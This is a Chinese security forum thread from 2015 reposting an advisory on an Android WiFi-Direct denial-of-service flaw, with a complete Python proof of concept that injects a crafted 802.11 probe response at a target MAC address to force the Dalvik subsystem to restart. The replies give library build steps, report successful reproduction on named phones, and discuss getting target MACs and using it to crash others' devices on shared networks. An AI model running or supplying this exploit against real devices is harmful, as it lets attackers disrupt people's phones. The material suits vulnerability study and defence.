当前位置:WooYun(白帽子技术社区) >> 移动终端安全 >> [CORE-2015-0002] - 安卓Wifi直连拒绝服务漏洞

[CORE-2015-0002] - 安卓Wifi直连拒绝服务漏洞

lxj616 (简介) | 2015-01-29 12:06

[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本:
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小,没有时间修复”,目前该漏洞没有任何补丁

POC:

#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2


def get_probe_response(source, destination, channel):
  frame = str()
  frame += "\x50\x00"  # Frame Control
  frame += "\x00\x00"  # Duration
  frame += destination
  frame += source
  frame += source
  frame += "\x00\x00"  # Sequence Control
  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp
  frame += "\x64\x00"  # Beacon Interval
  frame += "\x30\x04"  # Capabilities Information

  # SSID IE
  frame += "\x00"
  frame += "\x07"
  frame += "DIRECT-"

  # Supported Rates
  frame += "\x01"
  frame += "\x08"
  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"

  # DS Parameter Set
  frame += "\x03"
  frame += "\x01"
  frame += struct.pack("B", channel)

  # P2P
  frame += "\xDD"
  frame += "\x27"
  frame += "\x50\x6F\x9A"
  frame += "\x09"
  # P2P Capabilities
  frame += "\x02" # ID
  frame += "\x02\x00" # Length
  frame += "\x21\x00"
  # P2P Device Info
  frame += "\x0D" # ID
  frame += "\x1B\x00" # Length
  frame += source
  frame += "\x01\x88"
  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"
  frame += "\x00"
  frame += "\x10\x11"
  frame += "\x00\x06"
  frame += "fafa\xFA\xFA"

  return frame


def str_to_mac(address):
  return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))


if __name__ == "__main__":
  if len(sys.argv) != 3:
    print "Usage:"
    print "  poc.py <iface> <target>"
    print "Example:"
    print "  poc.py wlan0 00:11:22:33:44:55"
    sys.exit(-1)

  iface = sys.argv[1]
  destination = str_to_mac(sys.argv[2])

  context = PyLorcon2.Context(iface)
  context.open_injmon()

  channel = 1
  source = str_to_mac("00:11:22:33:44:55")
  frame = get_probe_response(source, destination, channel)

  print "Injecting PoC."
  for i in range(100):
    context.send_bytes(frame)
    time.sleep(0.100)


运行poc,在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞,系统重启

分享到:
  1. 1#
    回复此人 感谢
    todaro (学习装逼) | 2015-01-29 12:17

    谷歌不是不认为这是漏洞吗。。。。。

  2. 2#
    回复此人 感谢
    龍 、 | 2015-01-29 12:25

    谷歌不是不认为这是漏洞吗。。。。

  3. 3#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-29 12:33

    PyLorcon2 安装不上去

  4. 4#
    回复此人 感谢
    lxj616 (简介) | 2015-01-29 14:56

    @mango apt-get install libpcap0.8-dev libnl-dev
    git clone https://code.google.com/p/lorcon
    cd lorcon
    ./configure
    make
    make install
    cp /usr/local/lib/liborcon2-2.0.0.so /usr/lib/
    cd pylorcon2
    python setup.py build
    python setup.py install

  5. 5#
    回复此人 感谢
    泳少 (此号被射!by U神) | 2015-01-29 15:15

    @lxj616 能求个VPN上谷歌么~

  6. 6#
    回复此人 感谢
    lxj616 (简介) | 2015-01-29 15:29

    @泳少 自己搭VPS是正解

  7. 7#
    回复此人 感谢
    keke (秒杀各种装逼犯) | 2015-01-29 15:42

    谷歌不是不认为这是漏洞吗。。。。

  8. 8#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-29 23:25

    @lxj616 不行。。。。 - - 老是出错

  9. 9#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 00:41

    @lxj616 攻击者可以发送一个精心构造的802.11响应信号帧是不是需要网卡的。。。才能发送啊

  10. 10#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 01:19

    OK  复现了

  11. 11#
    回复此人 感谢
    刘海哥 (‮moc.ghuil.www) | 2015-01-30 10:23

    不知道怎么利用...

  12. 12#
    回复此人 感谢
    whale | 2015-01-30 10:26

    @mango 你怎么操作的?是在kali上随便插一个无线网卡,制造接入点,然后运行poc,让安卓连接?

  13. 13#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 12:37

    @whale 前提是安卓手机必须 要链接你的wifi  找到他的mac 地址 然后才能进行攻击

  14. 14#
    回复此人 感谢
    whale | 2015-01-30 15:43

    @mango 也就是安卓手机上运行kali,然后用kali的py平台运行这个脚本,让其他安卓手机连接我的安卓接入点,就可以进行移动重启炮台了。。。

  15. 15#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 16:10

    @whale  - -这个。。。好高科技啊  我是自己另外拿网卡插上PC 然后PC运行kali 手机和电脑都连接这路由~~~
    然后攻击~

  16. 16#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2015-01-30 20:41

    @mango 如何安装PyLorcon2 模块

  17. 17#
    回复此人 感谢
    sin (寻找最优雅的解决方案) | 2015-01-30 20:55

    @Jumbo 4楼不就是么?git要从google翻墙.  google的git kali貌似用proxychains挂了.我是直线下载解压的.
    翻墙是必须技能额.

  18. 18#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2015-01-30 21:06

    @sin 谢谢,我试试

  19. 19#
    回复此人 感谢
    whale | 2015-01-30 21:17

    用nexus5做靶机测试成功,不过实现条件比较苛刻,基本上没人会用wlan直连功能吧,普通使用wlan连接的话就不会受影响

  20. 20#
    回复此人 感谢
    sin (寻找最优雅的解决方案) | 2015-01-30 21:17

    小米2s复现:
    系统:kali   笔记本本:网卡wlan0
    拓扑结构:MI2S KALI连接同一台路由器.
    执行:   python wifi.py wlan0 M2s_mac

    貌似有点鸡肋额,要自插才会挂.配合wifi登录时的操作?精心构造一个包过去?
    大牛们努力下,移动炮台说不定真有可能哦.看谁还敢抢我的网.  :-)

  21. 21#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2015-01-30 21:18

    如果kali没有无线网卡的话,是不是读不到wifi?

  22. 22#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2015-01-30 21:21

    @sin 那可不可以这样,让我们的攻击机连上公共wifi,然后运行POC呢?

  23. 23#
    回复此人 感谢
    sin (寻找最优雅的解决方案) | 2015-01-30 21:34

    @Jumbo 感觉还是有诸多限制的.
    1.目标选择wifi直连方式.(基本不会有人手贱这样连接的)
    2.获取target的mac地址.或许不难.
    3.运行poc.要有mac(设备要有网卡)
    最好是在一次wifi认证中依次完成这3个步骤  2--->3--->1
    或许在伪造wifi的过程中,可以来点小动作.....

  24. 24#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 21:48

    @sin   1.  不是没人手贱 你忘了现在很多手机有个功能叫做多屏互动??

        2. 连接你wifi了 获取MAC很简单

    3. 网卡也不难啊???

  25. 25#
    回复此人 感谢
    sin (寻找最优雅的解决方案) | 2015-01-30 21:58

    @mango 额,我的是有诸多限制和下文没多大联系,123是想表示那个流程...
    感觉就wifi直连困难,其他都好说.

  26. 26#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 22:55

    @sin 这种漏洞最早出现在网卡芯片上 当年 iPhone 全系列崩溃~~~

  27. 27#
    回复此人 感谢
    hqdvista (...) | 2015-01-30 23:20

    确实wlan直连比较罕见

  28. 28#
    回复此人 感谢
    winalva | 2015-02-02 10:15

    windows下能用不。。。@lxj616

  29. 29#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2015-02-02 11:19

    @hqdvista 至今没用过这个功能....

  30. 30#
    回复此人 感谢
    exploits (As We Do , As You Know !) | 2015-02-02 13:17

    6

  31. 31#
    回复此人 感谢
    lxj616 (简介) | 2015-02-02 13:17

    @winalva 没有试过

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录